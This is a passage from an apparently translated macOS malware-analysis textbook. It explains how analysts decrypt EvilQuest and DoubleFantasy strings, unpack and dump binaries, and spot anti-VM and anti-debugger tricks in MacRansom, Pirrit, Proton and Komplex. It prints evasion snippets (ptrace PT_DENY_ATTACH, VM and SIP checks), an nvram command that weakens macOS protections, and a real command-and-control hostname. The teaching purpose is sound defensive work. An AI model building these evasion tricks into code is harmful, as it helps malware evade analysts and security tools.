在重新实现恶意软件的解密算法后,我们现在需要在所有恶意软件嵌入的加密字符串上调用它。幸运的是,Hopper 使这项工作相对简单。DoubleFantasy 的加密字符串都存储在其`_cstring`段中。通过 Hopper 提供给任何 Hopper 脚本的 API,我们可以通过编程方式遍历该段,并对每个字符串调用重新实现的解密算法。我们将列表 9-12 中的逻辑添加到 Python 代码中来完成此任务。
from start to end of cString segment
extract/decrypt all strings
i = cSectionStart
while i < cSectionEnd:
skip if item is just a 0x0
if 0 == cSegment.readByte(i):
i += 1
continue
stringStart = i
encryptedString = []
while (0 != cSegment.readByte(i)): 1
encryptedString.append(cSegment.readByte(i))
i += 1
decryptedString = decryptStr(encryptedString) 2
if decryptedString.isascii(): 3
print(decryptedString)
#add as inline comment and to all references 4
doc.getCurrentSegment().setInlineCommentAtAddress(stringStart, decryptedString)
for reference in cSegment.getReferencesOfAddress(stringStart):
doc.getCurrentSegment().setInlineCommentAtAddress(reference, decryptedString)
列表 9-12:利用 Hopper API 解密嵌入字符串(DoubleFantasy)
在这个列表中,我们遍历`_cstring`段并找到任何以空字符结尾的项,这些项包括恶意软件嵌入的加密字符串 1。对于这些项,我们调用解密函数对其进行解密 2。最后,我们检查该项是否解密为可打印的 ASCII 字符串 3。此检查确保我们忽略`_cstring`段中其他非加密字符串的项。解密后的字符串随后作为内联注释直接添加到反汇编中,既添加到加密字符串的位置,也添加到代码中任何引用它的地方,以便于继续分析 4。
在 Hopper 的脚本菜单中执行我们的解密脚本后,字符串被解密,并且反汇编结果被注释。例如,如你在列表 9-13 中看到的,字符串`"\xDA\xB3\...\x14"`解密为*/Library/Caches/com.apple.LaunchServices-02300.csstore*,这实际上是恶意软件配置文件的硬编码路径。
0x00007a93 mov dword [esp+0x8], 0x38
0x00007a9b lea eax, dword [ebx+0x105a7] ; "/Library/Caches/com.apple.LaunchServices
-02300.csstore, \xDA\xB3...\x14"
0x00007aa1 mov dword [esp+0x4], eax
0x00007aa5 call sub_d900
列表 9-13:反汇编,现在已注释解密字符串(DoubleFantasy)
### 强制恶意软件执行其解密例程
创建反汇编脚本以促进分析是一种强有力的方法。然而,在字符串解密的上下文中,这要求你不仅要完全理解解密算法,还要能够重新实现它。这通常是一项耗时的工作。在本节中,我们将讨论一种可能更高效的方法,尤其适用于那些实现了复杂解密算法的样本。
恶意软件样本几乎肯定被设计为解密其所有字符串;我们只需要找到一种方法来说服恶意软件执行此操作。事实证明,这并不难。实际上,如果我们创建一个动态库并将其注入到恶意软件中,这个库就可以直接调用恶意软件的字符串解密例程来解密所有加密的字符串,而无需理解解密算法的内部实现。让我们通过以 EvilQuest 恶意软件为目标,来演示这个过程。
首先,我们注意到 EvilQuest 的二进制文件名为 *patch*,似乎包含了许多混淆的字符串(清单 9-14):
% strings - EvilQuest/patch
Host: %s
ERROR: %s
1PnYz01rdaiC0000013
1MNsh21anlz906WugB2zwfjn0000083
2Uy5DI3hMp7o0cq|T|14vHRz0000013
3mTqdG3tFoV51KYxgy38orxy0000083
0JVurl1WtxB53WxvoP18ouUM2Qo51c3v5dDi0000083
2WVZmB2oRkhr1Y7s1D2asm{v1Al5AT33Xn3X0000053
3iHMvK0RFo0r3KGWvD28URSu06OhV61tdk0t22nizO3nao1q0000033
...
清单 9-14:混淆的字符串(EvilQuest)
静态分析 EvilQuest 中一个接受混淆字符串作为输入的函数,很容易揭示出恶意软件的去混淆(解密)逻辑,该逻辑位于名为 `ei_str` 的函数中(清单 9-15):
lea rdi, "0hC|h71FgtPJ32afft3EzOyU3xFA7q0{LBxN3vZ"...
call ei_str
...
lea rdi, "0hC|h71FgtPJ19|69c0m4GZL1xMqqS3kmZbz3FW"...
call ei_str
清单 9-15:调用去混淆函数 `ei_str`(EvilQuest)
`ei_str` 函数相当长且复杂,因此我们不会仅通过静态分析方法来尝试解密这些字符串,而是选择动态方法。此外,由于许多字符串只有在运行时在特定情况下才会被去混淆,例如接收到特定命令时,我们将注入一个自定义库,而不是利用调试器。
我们自定义的可注入库将执行两个任务。首先,在运行中的恶意软件实例内,它将解析去混淆函数 `ei_str` 的地址。然后,它将调用 `ei_str` 函数来解密恶意软件二进制中嵌入的所有加密字符串。由于我们将此逻辑放在动态库的构造函数中,它将在库加载时执行,远早于恶意软件自身的代码运行。
清单 9-16 展示了我们为注入的动态解密库的构造函数编写的代码:
//library constructor
//1. resolves address of malware's ei_str function
//2. invokes it for all embedded encrypted strings
attribute((constructor)) static void decrypt() {
//define & resolve the malware's ei_str function
typedef char* (*ei_str)(char* str);
ei_str ei_strFP = dlsym(RTLD_MAIN_ONLY, "ei_str");
//init pointers
//the __cstring segment starts 0xF98D after ei_str and is 0x29E9 long
char* start = (char*)ei_strFP + 0xF98D;
char* end = start + 0x29E9;
char* current = start;
//decrypt all strings
while(current < end) {
//decrypt and print out
char* string = ei_strFP(current);
printf("decrypted string (%#lx): %s\n", (unsigned long)current, string);
//skip to next string
current += strlen(current);
}
//bye!
exit(0);
}
清单 9-16:我们的动态字符串去混淆库(EvilQuest)
该库代码扫描恶意软件的整个 `__cstring` 段,其中包含了所有混淆的字符串。对于每个字符串,它调用恶意软件自己的 `ei_str` 函数来去混淆该字符串。编译后(`% clang decryptor.m -dynamiclib -framework Foundation -o decryptor.dylib`),我们可以通过 `DYLD_INSERT_LIBRARIES` 环境变量强制恶意软件加载我们的解密库。在虚拟机的终端中,我们可以执行以下命令:
% DYLD_INSERT_LIBRARIES=<path to dylib> <path to EvilQuest>
一旦加载,库的代码会自动被调用并强迫恶意软件解密其所有字符串(清单 9-17):
% DYLD_INSERT_LIBRARIES=/tmp/decryptor.dylib EvilQuest/patch
decrypted string (0x10eb675ec): andrewka6.pythonanywhere.com
decrypted string (0x10eb67a95): id_rsa/i
decrypted string (0x10eb67c15): key.png/i
decrypted string (0x10eb67c35): wallet.png/i
decrypted string (0x10eb67c55): key.jpg/i
decrypted string (0x10eb67d12): [Memory Based Bundle]
decrypted string (0x10eb67d6b): ei_run_memory_hrd
decrypted string (0x10eb681ad):
清单 9-17:去混淆的字符串(EvilQuest)
解密后的输出(简化版)揭示了信息性字符串,似乎显示了一个潜在的命令和控制服务器、感兴趣的文件以及启动项持久化的模板。
如果恶意软件使用加固的运行时进行编译,动态加载器将忽略 `DYLD_INSERT_LIBRARIES` 变量,无法加载我们的去混淆器。为了绕过这个保护,您可以首先禁用系统完整性保护(SIP),然后执行以下命令设置 `amfi_get_out_of_my_way` 启动参数,并重新启动您的分析系统(或虚拟机):
nvram boot-args="amfi_get_out_of_my_way=0x1"
有关此主题的更多信息,请参见“如何将代码注入 Mach-O 应用程序,第二部分。”^(2)
### 代码级混淆
为了进一步保护其创作不被分析,恶意软件作者还可能采用更广泛的代码级混淆技术。对于那些容易分析的恶意脚本(因为它们并未被编译成二进制代码),这种混淆技术相当常见。正如我们在第四章中讨论的那样,我们通常可以利用诸如美化工具之类的工具来提高混淆脚本的可读性。混淆的 Mach-O 二进制文件虽然稍微少见,但我们会看看这种技术的几个例子。
一种混淆方法是在编译时添加*虚假*或*垃圾*指令。这些指令本质上是空操作(NOPs),对恶意软件的核心功能没有任何影响。然而,当它们有效地分布在二进制文件中时,可以掩盖恶意软件的真实指令。盛行的 Pirrit 恶意软件就是这种二进制混淆的一个例子。为了阻碍静态分析并隐藏其他旨在防止动态分析的逻辑,它的作者添加了大量垃圾指令。以 Pirrit 为例,这些指令包括调用系统 API(其结果被忽略)、虚假的控制流块,或对未使用的内存做出无关紧要的修改。以下是前者的一个例子,我们看到 `dlsym` API 被调用。这个 API 通常用于通过名称动态解析函数的地址。在 清单 9-18 中,反编译器已经确定结果没有被使用:
dlsym(dlopen(0x0, 0xa), 0x100058a91);
dlsym(dlopen(0x0, 0xa), 0x100058a80);
dlsym(dlopen(0x0, 0xa), 0x100058a64);
dlsym(dlopen(0x0, 0xa), 0x100058a50);
dlsym(dlopen(0x0, 0xa), 0x100058a30);
dlsym(dlopen(0x0, 0xa), 0x100058a10);
dlsym(dlopen(0x0, 0xa), 0x1000589f0);
清单 9-18:虚假的函数调用(Pirrit)
在 Pirrit 的反编译过程中,我们发现了虚假的代码控制块,其逻辑与恶意软件的核心功能无关。例如,参见 清单 9-19,其中包含了对 `RAX` 寄存器的几次毫无意义的比较。(最后的检查只有当 `RAX` 等于 `0x6b1464f0` 时才会为真,因此前两个检查完全没有必要。)接下来是一大段指令,它们修改了二进制文件中的一块内存区域,而这块内存本来并未被使用:
if (rax != 0x6956b086) {
if (rax != 0x6ad066c0) {
if (rax == 0x6b1464f0) {
*(int8_t *)byte_1000589fa = var_29 ^ 0x37;
*(int8_t *)byte_1000589fb = *(int8_t *)byte_1000589fb ^ 0x9a;
*(int8_t *)byte_1000589fc = *(int8_t *)byte_1000589fc ^ 0xc8;
*(int8_t *)byte_1000589fd = *(int8_t *)byte_1000589fd ^ 0xb2;
*(int8_t *)byte_1000589fe = *(int8_t *)byte_1000589fe ^ 0x15;
*(int8_t *)byte_1000589ff = *(int8_t *)byte_1000589ff ^ 0x78;
*(int8_t *)byte_100058a00 = *(int8_t *)byte_100058a00 ^ 0x1d;
...
*(int8_t *)byte_100058a20 = *(int8_t *)byte_100058a20 ^ 0x69;
*(int8_t *)byte_100058a21 = *(int8_t *)byte_100058a21 ^ 0xab;
*(int8_t *)byte_100058a22 = *(int8_t *)byte_100058a22 ^ 0x02;
*(int8_t *)byte_100058a23 = *(int8_t *)byte_100058a23 ^ 0x46;
清单 9-19:虚假的指令(Pirrit)
在 Pirrit 的反汇编代码中的几乎每个子程序里,我们都能发现大量这样的垃圾指令。虽然这些指令确实会拖慢我们的分析过程,并且最初会掩盖恶意软件的真实逻辑,但一旦我们理解它们的用途,就可以忽略它们并快速跳过。有关此类混淆方案的更多信息,可以阅读《使用 LLVM 在编译期间混淆你的代码》。^(3)
### 绕过打包的二进制代码
另一种常见的二进制代码混淆方式是使用打包器。简而言之,*打包器*通过压缩二进制代码来防止其静态分析,同时在二进制文件的入口点插入一个小的解包程序存根。由于当打包程序启动时解包程序存根会自动执行,原始代码会被恢复到内存中并随后执行,从而保留二进制文件的原始功能。
打包器与有效载荷无关,因此通常可以打包任何二进制文件。这意味着合法的软件也可以被打包,因为软件开发者有时会寻求阻止对其专有代码的分析。因此,我们不能在没有进一步分析的情况下假设任何被打包的二进制文件都是恶意的。
广为人知的 UPX 打包器深受 Windows 和 macOS 恶意软件作者的喜爱。^(4) 幸运的是,解包 UPX 打包的文件很简单。你只需要执行 UPX 并加上`-d`命令行标志(Listing 9-20)。如果你希望将解包后的二进制文件写入到一个新文件,可以同时使用`-o`标志。
% upx -d ColdRoot.app/Contents/MacOS/com.apple.audio.driver
Ultimate Packer for eXecutables
Copyright (C) 1996 - 2013
With LZMA support, Compiled by Mounir IDRASSI (mounir@idrix.fr)
File size Ratio Format Name
3292828 <- 983040 29.85% Mach/i386 com.apple.audio.driver
Unpacked 1 file.
Listing 9-20:通过 UPX 解包(ColdRoot)
如你所见,我们已经解包了一个 UPX 压缩的变种:被称为 ColdRoot 的恶意软件。一旦解包并解压缩完毕,我们就可以开始静态和动态分析。
这是一个合理的问题:我们怎么知道这个样本是被打包的?又怎么知道它是用 UPX 打包的呢?一种半正式的方法来判断哪些二进制文件是被打包的,就是计算二进制文件的*熵*(随机性大小),从而检测出打包的部分,这些部分的随机性远高于正常的二进制指令。我已经在 Objective-See 的 TaskExplorer 工具中加入了代码,能够以这种方式通用地检测被打包的二进制文件。^(5)
一种不那么正式的方法是使用`strings`命令,或将二进制文件加载到你选择的反汇编工具中,浏览代码。凭借经验,你将能够推断出二进制文件是否被打包,如果你观察到以下内容:
+ 不寻常的段名
+ 大部分字符串被混淆
+ 无法反汇编的大块可执行代码
+ 较少的导入(对外部 API 的引用)
不寻常的段名是一个特别好的指标,因为它们也有助于识别用于压缩二进制文件的打包工具。例如,UPX 会添加一个名为`__XHDR`的段,你可以在`strings`命令的输出或在 Mach-O 查看器中看到它(Figure 9-3)。

图 9-3:UPX 区段头(ColdRoot)
值得注意的是,UPX 在压缩工具中是一个例外,因为它可以解压任何 UPX 压缩的二进制文件。更复杂的恶意软件可能会利用定制的压缩工具,这可能意味着你没有可用的解压工具。别担心:如果你遇到一个压缩的二进制文件且没有解压工具,一个调试器可能是你最好的选择。这个方法很简单:在调试器的监控下运行压缩样本,一旦解压器存根执行完毕,就用 `memory read` LLDB 命令从内存中提取未加密的二进制文件。
有关分析其他压缩工具(如 MPRESS)和从内存中提取压缩二进制文件过程的详细讨论,请参见 Pedro Vilaça 2014 年的精彩讲座,“F*ck You HackingTeam”。^(6)
### 解密加密的二进制文件
类似于压缩工具的是 *二进制加密器*,它在二进制级别加密原始恶意代码。为了在运行时自动解密恶意软件,加密器通常会在二进制文件的开头插入解密存根和密钥信息,除非操作系统本身支持加密的二进制文件,而 macOS 就支持。如前所述,臭名昭著的 HackingTeam 喜欢使用压缩工具和加密器。在博客文章《HackingTeam 重生...》中,我提到 HackingTeam 的 macOS 植入程序 RCS 的安装程序利用了 Apple 专有且未公开的 Mach-O 加密方案,试图阻止静态分析。^(7)
让我们仔细看看如何解密通过这种方法保护的二进制文件,例如 HackingTeam 的安装程序。在 macOS 开源的 Mach-O 加载器中,我们找到了一个名为 `SG_PROTECTED_VERSION_1` 的 `LC_SEGMENT` 标志,其值为 `0x8`:^(8)
define SG_PROTECTED_VERSION_1 0x8 /* This segment is protected. If the
segment starts at file offset 0, the
first page of the segment is not
protected. All other pages of the
segment are protected. */
注释显示,这个标志指定了一个 Mach-O 区段是加密的(或者用 Apple 的术语来说是“受保护的”)。通过 `otool`,我们可以解析 HackingTeam 安装程序中嵌入的 Mach-O 加载器命令,并注意到,确实,在 `__TEXT` 区段中(包含二进制执行指令的区段),该标志的值被设置为 `SG_PROTECTED_VERSION_1` 的值(Listing 9-21):
% otool -l HackingTeam/installer
...
Load command 1
cmd LC_SEGMENT
cmdsize 328
segname __TEXT
vmaddr 0x00001000
vmsize 0x00004000
fileoff 0
filesize 16384
maxprot 0x00000007
initprot 0x00000005
nsects 4
flags 0x8
Listing 9-21:一个加密的安装程序;注意 `flags` 字段被设置为 `0x8`,`SG_PROTECTED_VERSION_1`(HackingTeam)
从 macOS 加载器的源代码中,我们可以看到 `load_segment` 函数会检查这个标志的值。^(9) 如果该标志被设置,加载器将调用一个名为 `unprotect_dsmos_segment` 的函数来解密该段,如 Listing 9-22 所示:
static load_return_t load_segment( ... )
{
...
if (scp->flags & SG_PROTECTED_VERSION_1) {
ret = unprotect_dsmos_segment(file_start,
file_end - file_start,
vp,
pager_offset,
map,
vm_start,
vm_end - vm_start);
if (ret != LOAD_SUCCESS) {
return ret;
}
}
Listing 9-22:macOS 对加密 Mach-O 二进制文件的支持
继续分析发现,加密方案是对称的(使用 Blowfish 或 AES),并且使用一个静态密钥,该密钥存储在 Mac 的系统管理控制器中。因此,我们可以编写一个工具来解密任何以这种方式保护的二进制文件。有关这个 macOS 加密方案的更多讨论,请参见 Erik Pistelli 的博客文章“为 OS X 创建未被检测的恶意软件”。^(10)
恢复恶意软件未加密指令的另一个方法是,在解密代码执行后,从内存中转储未保护的二进制代码。对于这个特定的恶意软件样本,其未加密的代码可以在地址`0x7000`到`0xbffff`之间找到。以下调试器命令将把未加密的代码保存到磁盘上,供静态分析使用:
(lldb) memory read --binary --outfile /tmp/dumped.bin 0x7000 0xbffff --force
注意,由于内存范围较大,必须指定`--force`标志。
我已经展示了,动态分析环境和工具通常能够成功应对反静态分析方法。因此,恶意软件作者也会试图检测并阻止动态分析。
## 反动态分析方法
恶意软件作者深知,分析人员通常会利用动态分析作为绕过反分析逻辑的有效手段。因此,恶意软件常常包含一些代码,尝试检测它是否在动态分析环境中执行,比如虚拟机或调试工具。
恶意软件可能利用几种常见的方法来检测动态分析环境和工具:
+ **虚拟机检测**:通常,恶意软件分析人员会在一个隔离的虚拟机中执行可疑的恶意代码,以便监控它或进行动态分析。因此,恶意软件可能认为,如果它发现自己在虚拟机中执行,它可能正被密切监控或进行动态分析。因此,恶意软件常常试图检测自己是否在虚拟化环境中运行。一般来说,如果它检测到这种环境,它会直接退出。
+ **分析工具检测/防止**:恶意软件可能会查询其执行环境,试图检测动态分析工具,如调试器。如果一个恶意样本发现自己在调试会话中运行,它可能会高概率地判断自己正被恶意软件分析人员密切分析。为了防止分析,它可能会提前退出。或者,它可能会尝试从一开始就阻止调试。
我们怎么知道一个恶意样本是否包含反分析逻辑来阻止动态分析呢?如果你在虚拟机或调试器中尝试动态分析一个恶意样本,而该样本提前退出了,这可能是它实现了反分析逻辑的标志。(当然,恶意软件退出也可能有其他原因;例如,它可能检测到其指挥与控制服务器处于离线状态。)
如果你怀疑恶意软件包含这种逻辑,首要目标应该是揭示出负责这种行为的具体代码。一旦你识别出来,你可以通过修补代码或在调试会话中简单地跳过它来绕过这段代码。揭示样本反分析代码的一种有效方法是使用静态分析,这意味着你必须了解这种反分析逻辑可能的样子。以下部分将描述恶意软件可以利用的多种程序化方法,用于检测它是否在虚拟机或调试器中执行。识别这些方法非常重要,因为许多方法广泛存在,并且在无关的 Mac 恶意软件样本中也能找到。
### 检查系统型号名称
恶意软件可能通过查询机器的名称来检查它是否在虚拟机中运行。名为 MacRansom 的 macOS 勒索病毒就执行了这样的检查。请看一下下面的反编译代码片段,它对应于恶意软件的反虚拟机检查。在这里,恶意软件在解码一个命令后,调用`system` API 来执行它。如果 API 返回一个非零值,恶意软件将提前退出(清单 9-23):
rax = decodeString(&encodedString);
if (system(rax) != 0x0) goto leave;
leave:
rax = exit(0xffffffffffffffff);
return rax;
}
清单 9-23:混淆的反虚拟机逻辑(MacRansom)
为了揭示恶意软件执行的命令,我们可以利用调试器。具体来说,通过在`system` API 函数上设置断点,我们可以转储解码后的命令。正如在清单 9-24 的调试器输出中所示,这个命令作为参数传递给`system`,可以在`RDI`寄存器中找到:
(lldb) b system
Breakpoint 1: where = libsystem_c.dylib`system, address = 0x00007fff67848fdd
(lldb) c
Process 1253 stopped
- thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
frame #0: 0x00007fff67848fdd libsystem_c.dylibsystem libsystem_c.dylibsystem:
-> 0x7fff67848fdd <+0>: pushq %rbp
(lldb) x/s $rdi
0x100205350: "sysctl hw.model|grep Mac > /dev/null" 1
清单 9-24:去混淆的反虚拟机命令(MacRansom)
事实证明,命令 1 首先从`hw.model`检索系统的型号名称,然后检查它是否包含字符串`Mac`。在虚拟机中,这个命令将返回一个非零值,因为`hw.model`的值将不包含`Mac`,而是类似于`VMware7,1`的内容(清单 9-25):
% sysctl hw.model
hw.model: VMware7,1
清单 9-25:系统的硬件型号(在虚拟机中)
在本地硬件上(虚拟机外),`sysctl hw.model`命令将返回一个包含`Mac`的字符串,恶意软件将不会退出(清单 9-26):
% sysctl hw.model
hw.model: MacBookAir7,2
清单 9-26:系统的硬件型号(在本地硬件上)
### 统计系统的逻辑和物理 CPU 数量
MacRansom 包含另一个检查,看看它是否在虚拟机中运行。再次,恶意软件解码一个命令,通过`system` API 执行它,并在返回值非零时提前退出。它执行的命令如下:
echo $((sysctl -n hw.logicalcpu/sysctl -n hw.physicalcpu))|grep 2 > /dev/null
该命令检查恶意软件执行所在系统的逻辑 CPU 数量与物理 CPU 数量的比值。在虚拟机中,这个值通常为`1`。如果不是`2`,恶意软件将退出。在本地硬件上,逻辑 CPU 数量与物理 CPU 数量的比值通常(但不总是!)为 2,这时恶意软件会愉快地继续执行。
### 检查系统的 MAC 地址
另一个包含用于检测是否在虚拟机中运行的代码的 macOS 恶意软件样本是 Mughthesec,它伪装成 Adobe Flash 安装程序。如果检测到它正在虚拟机中运行,安装程序不会执行任何恶意操作;它只会安装一个合法的 Flash 版本。安全研究人员 Thomas Reed 指出,这种虚拟机检测是通过检查系统的 MAC 地址完成的。
如果我们反汇编恶意安装程序,我们会找到负责通过 I/O 注册表检索系统 MAC 地址的代码片段(列表 9-27)。
1 r14 = IOServiceMatching("IOEthernetInterface");
if (r14 != 0x0) {
rbx = CFDictionaryCreateMutable(...);
if (rbx != 0x0) {
CFDictionarySetValue(rbx, @"IOPrimaryInterface", **_kCFBooleanTrue);
CFDictionarySetValue(r14, @"IOPropertyMatch", rbx);
CFRelease(rbx);
}
}
...
rdx = &var_5C0;
if (IOServiceGetMatchingServices(r15, r14, rdx) == 0x0) {
...
r12 = var_5C0;
rbx = IOIteratorNext(r12);
r14 = IORegistryEntryGetParentEntry(rbx, "IOService", rdx);
if (r14 == 0x0) {
rdx = **_kCFAllocatorDefault;
2 r15 = IORegistryEntryCreateCFProperty(var_35C, @"IOMACAddress", rdx, 0x0);
列表 9-27: 检索主要 MAC 地址 (Mughthesec)
恶意软件首先通过调用 `IOServiceMatching` API 并使用字符串 `"IOEthernetInterface"` 来创建一个包含主要以太网接口的迭代器。通过这个迭代器,它然后检索 MAC 地址。注意,这段代码与苹果的“GetPrimaryMACAddress”示例代码非常相似,该示例演示了如何以编程方式检索设备的主要 MAC 地址。^(11) 这并不奇怪,因为恶意软件作者经常参考(甚至复制粘贴)苹果的示例代码。
MAC 地址包含一个 *组织唯一标识符 (OUI)*,它映射到特定的供应商。如果恶意软件检测到具有与虚拟机供应商(如 VMware)匹配的 OUI 的 MAC 地址,则知道它正在虚拟机中运行。供应商的 OUI 可以在网上找到,例如在公司的网站上。例如,在 [`docs.vmware.com/`](https://docs.vmware.com/) 找到的在线文档指出,VMware 的 OUI 范围包括 `00:50:56` 和 `00:0C:29`,这意味着对于前者,VMware VM 的 MAC 地址将具有以下格式:`00:50:56:XX:YY:ZZ`。^(12)
当然,恶意软件还有很多其他方法可以编程性地检测它是否在虚拟机中执行。有关这些方法的相当全面列表,请参见“逃避: macOS”。^(13)
### 检查系统完整性保护状态
当然,并非所有分析都在虚拟机中进行。许多恶意软件分析人员利用专用分析机动态分析恶意代码。在这种情况下,由于分析是在本机硬件上执行的,基于检测虚拟机的反分析逻辑是无效的。相反,恶意软件必须寻找其他指标来确定它是否在分析环境中运行。其中一种方法是检查 *系统完整性保护 (SIP)* 的状态。
SIP 是 macOS 内建的保护机制,其中之一是可能阻止进程调试。恶意软件分析师通常需要能够调试所有进程,因此他们常常会在分析机器上禁用 SIP。广泛传播的 Pirrit 恶意软件利用这一点来检查它是否可能在分析系统上运行。具体来说,它会执行 macOS 的 `csrutil` 命令来确定 SIP 的状态。我们可以通过进程监视器被动地观察到这一点,或者通过调试器更直接地观察到。在后者的情况下,我们可以在调用 `NSConcreteTask` 的 `launch` 方法时设置断点,并转储任务对象的启动路径和参数(可以在 `RDI` 寄存器中找到),如 Listing 9-28 所示:
(lldb) po[$rdi launchPath]
/bin/sh
(lldb) po[$rdi arguments]
<__NSArrayI 0x10580dfd0>(
-c,
command -v csrutil > /dev/null && csrutil status | grep -v "enabled" > /dev/null && echo 1 || echo 0
)
Listing 9-28:检索系统完整性保护状态(Pirrit)
从调试器的输出中,我们可以确认恶意软件确实在执行 `csrutil` 命令(通过 shell,`/bin/sh`)并带有 `status` 标志。该命令的输出被传递给 `grep` 以检查 SIP 是否仍然启用。如果 SIP 被禁用,恶意软件将提前退出,试图阻止持续的动态分析。
### 检测或终止特定工具
恶意软件也可能包含反分析代码来检测并阻止动态分析工具。如你所见,这段代码通常专注于调试器检测,但某些恶意软件样本还会考虑到其他可能检测到恶意软件并提醒用户的分析或安全工具,这是恶意软件往往会竭尽全力避免的事情。
一种被称为 Proton 的恶意软件变种会查找特定的安全工具。当执行时,Proton 安装程序会查询系统,看看是否安装了任何第三方防火墙产品。如果发现有,恶意软件会选择不感染系统并直接退出。以下是从安装程序中提取的反编译代码片段(见 Listing 9-29):
1 rax = [*0x10006c4a0 objectAtIndexedSubscript:0x51];
rdx = rax;
2 if ([rbx fileExistsAtPath:rdx] != 0x0) goto fileExists;
fileExists:
rax = exit(0x0);
Listing 9-29:基本防火墙检测(Proton)
安装程序首先从解密的数组中提取文件路径 1。动态分析揭示,该路径指向 Little Snitch 的内核扩展,一个流行的第三方防火墙:*/Library/Extensions/LittleSnitch.kext*。如果在系统中找到这个文件,恶意软件的安装过程将被中止 2。
Proton 安装程序还有其他手段。例如,为了阻止动态分析,它会终止一些工具,如 macOS 的日志信息收集器(Console 应用)和流行的网络监视器 Wireshark。为了终止这些应用程序,它只需调用内建的 macOS 工具 `killall`。虽然这种方法相当原始且容易察觉,但它能防止分析工具与恶意软件同时运行。(当然,这些工具可以简单地重新启动,甚至只是重命名。)
### 检测调试器
调试器可以说是恶意软件分析师最强大的工具,因此大多数包含反分析代码的恶意软件都试图检测自己是否正在调试会话中运行。程序确定是否正在被调试的最常见方法是直接询问系统。根据苹果的开发者文档,进程应首先调用`sysctl` API,使用`CTL_KERN`、`KERN_PROC`、`KERN_PROC_PID`和其进程标识符(`pid`)作为参数。此外,还应提供一个`kinfo_proc`结构体^(14)。然后,`sysctl`函数将用关于进程的信息填充该结构体,其中包括`P_TRACED`标志。如果该标志被设置,则意味着该进程正在被调试。Listing 9-30,直接来自苹果文档,采用这种方式检查是否存在调试器:
static bool AmIBeingDebugged(void)
// Returns true if the current process is being debugged (either
// running under the debugger or has a debugger attached post facto).
{
int junk;
int mib[4];
struct kinfo_proc info;
size_t size;
// Initialize the flags so that, if sysctl fails for some bizarre
// reason, we get a predictable result.
info.kp_proc.p_flag = 0;
// Initialize mib, which tells sysctl the info we want, in this case
// we're looking for information about a specific process ID.
mib[0] = CTL_KERN;
mib[1] = KERN_PROC;
mib[2] = KERN_PROC_PID;
mib[3] = getpid();
// Call sysctl.
size = sizeof(info);
junk = sysctl(mib, sizeof(mib) / sizeof(*mib), &info, &size, NULL, 0);
assert(junk == 0);
// We're being debugged if the P_TRACED flag is set.
return ( (info.kp_proc.p_flag & P_TRACED) != 0 );
}
Listing 9-30:调试器检测(通过`P_TRACED`标志)
恶意软件通常会使用这种相同的技术,在某些情况下甚至会逐字复制苹果的代码。这正是俄罗斯恶意软件 Komplex 的情况。通过查看 Komplex 主函数的反编译版本,你可以看到它调用了一个名为`AmIBeingDebugged`的函数(Listing 9-31):
int main(int argc, char *argv[]) {
...
if ((AmIBeingDebugged() & 0x1) == 0x0) {
//core malicious logic
}
else {
remove(argv[0]);
}
return 0;
Listing 9-31:调试器检测(Komplex)
如果`AmIBeingDebugged`函数返回一个非零值,恶意软件将执行`else`代码块中的逻辑,这会导致恶意软件自我删除,试图阻止进一步的分析。正如预期的那样,如果我们检查恶意软件的`AmIBeingDebugged`函数的代码,它在逻辑上等同于苹果的调试器检测函数。
### 使用 ptrace 防止调试
另一种反调试方法是尝试完全阻止调试。恶意软件可以通过调用带有`PT_DENY_ATTACH`标志的`ptrace`系统调用来实现这一点。这个苹果特有的标志会阻止调试器附加到恶意软件并进行跟踪。尝试调试一个调用了带有`PT_DENY_ATTACH`标志的`ptrace`的进程将会失败(Listing 9-32):
% lldb proton
...
(lldb) r
Process 666 exited with status = 45 (0x0000002d)
Listing 9-32:由于`ptrace`调用了`PT_DENY_ATTACH`标志而提前退出(Proton)
你可以通过恶意软件提前退出并返回状态`45`来判断它是否设置了`PT_DENY_ATTACH`标志。
对带有`PT_DENY_ATTACH`标志的`ptrace`函数调用相对容易发现(例如,通过检查二进制文件的导入)。因此,恶意软件可能会尝试模糊化`ptrace`调用。例如,Proton 通过名称动态解析`ptrace`函数,防止它作为导入项出现,正如你在以下代码片段中看到的那样(Listing 9-33):
0x000000010001e6b8 xor edi, edi
0x000000010001e6ba mov esi, 0xa
0x000000010001e6bf call 1 dlopen
0x000000010001e6c4 mov rbx, rax
0x000000010001e6c7 lea rsi, qword [ptrace]
0x000000010001e6ce mov rdi, rbx
0x000000010001e6d1 call 2 dlsym
0x000000010001e6d6 mov edi, 3 0x1f
0x000000010001e6db xor esi, esi
0x000000010001e6dd xor edx, edx
0x000000010001e6df xor ecx, ecx
0x000000010001e6e1 call rax
Listing 9-33:通过`ptrace`和`PT_DENY_ATTACH`模糊化的反调试逻辑(Proton)
在调用 `dlopen` 函数 1 后,恶意软件调用 `dlsym` 2 动态解析 `ptrace` 函数的地址。由于 `dlsym` 函数接收指向要解析的函数名的字符串指针,例如 `[ptrace]`,因此该函数不会作为二进制文件的依赖项出现。`dlsym` 的返回值存储在 `RAX` 寄存器中,是 `ptrace` 的地址。一旦地址解析完毕,恶意软件立即调用该地址,传入 `0x1F`,这是 `PT_DENY_ATTACH` 的十六进制值 3。如果恶意软件正在被调试,调用 `ptrace` 会导致调试会话强制终止,并使恶意软件退出。
## 绕过反动态分析逻辑
幸运的是,到目前为止所介绍的反动态分析方法都比较容易绕过。克服大多数这些策略通常需要两个步骤:识别反分析逻辑的位置,然后防止其执行。在这两个步骤中,第一个通常是最具挑战性的,但一旦熟悉了本章讨论的反分析方法,它就会变得容易得多。
在开始全面调试会话之前,最好先对二进制文件进行静态筛查。在筛查过程中,留意可能揭示动态分析阻止逻辑的线索。例如,如果一个二进制文件导入了`ptrace` API,那么它很可能会尝试通过 `PT_DENY_ATTACH` 标志来防止调试。
字符串或函数和方法名称也可能揭示恶意软件对分析的反感。例如,运行 `nm` 命令(用于转储符号)针对 EvilQuest 会显示名为 `is_debugging` 和 `is_virtual_mchn` 的函数(列表 9-34):
% nm EvilQuest/patch
...
0000000100007aa0 T _is_debugging
0000000100007bc0 T _is_virtual_mchn
列表 9-34:反分析函数?(EvilQuest)
毫不奇怪,持续分析揭示这两个函数都与恶意软件的反分析逻辑相关。例如,检查调用 `is_debugging` 函数的代码可以发现,如果该函数返回非零值,EvilQuest 将提前退出;也就是说,如果检测到调试器(列表 9-35):
0x000000010000b89a call is_debugging
0x000000010000b89f cmp eax, 0x0
0x000000010000b8a2 je continue
0x000000010000b8a8 mov edi, 0x1
0x000000010000b8ad call exit
